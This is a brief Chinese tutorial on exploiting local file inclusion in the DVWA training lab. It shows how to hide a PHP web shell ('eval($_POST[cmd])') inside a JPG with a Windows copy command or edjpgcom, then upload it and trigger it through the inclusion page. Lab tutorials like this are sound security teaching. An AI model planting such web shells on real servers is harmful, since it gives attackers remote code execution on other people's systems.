35、本地文件包含漏洞

一、本地文件包含漏洞： 環境：DVWA，low級別 1、製作一句話圖片木馬 第一種方法： windows命令 copy 1.jpg/b+1.php 2.jpg 第二種方法： 將照片拖入edjpgcom軟件，添加下面這句話 <?fputs(fopen("1.php","w"),'<?php eval($_POST[cmd]);?>')?> 2、上傳圖片木馬文件 3、選擇文件包含頁面 4、執行文件包含

>>阅读原文<<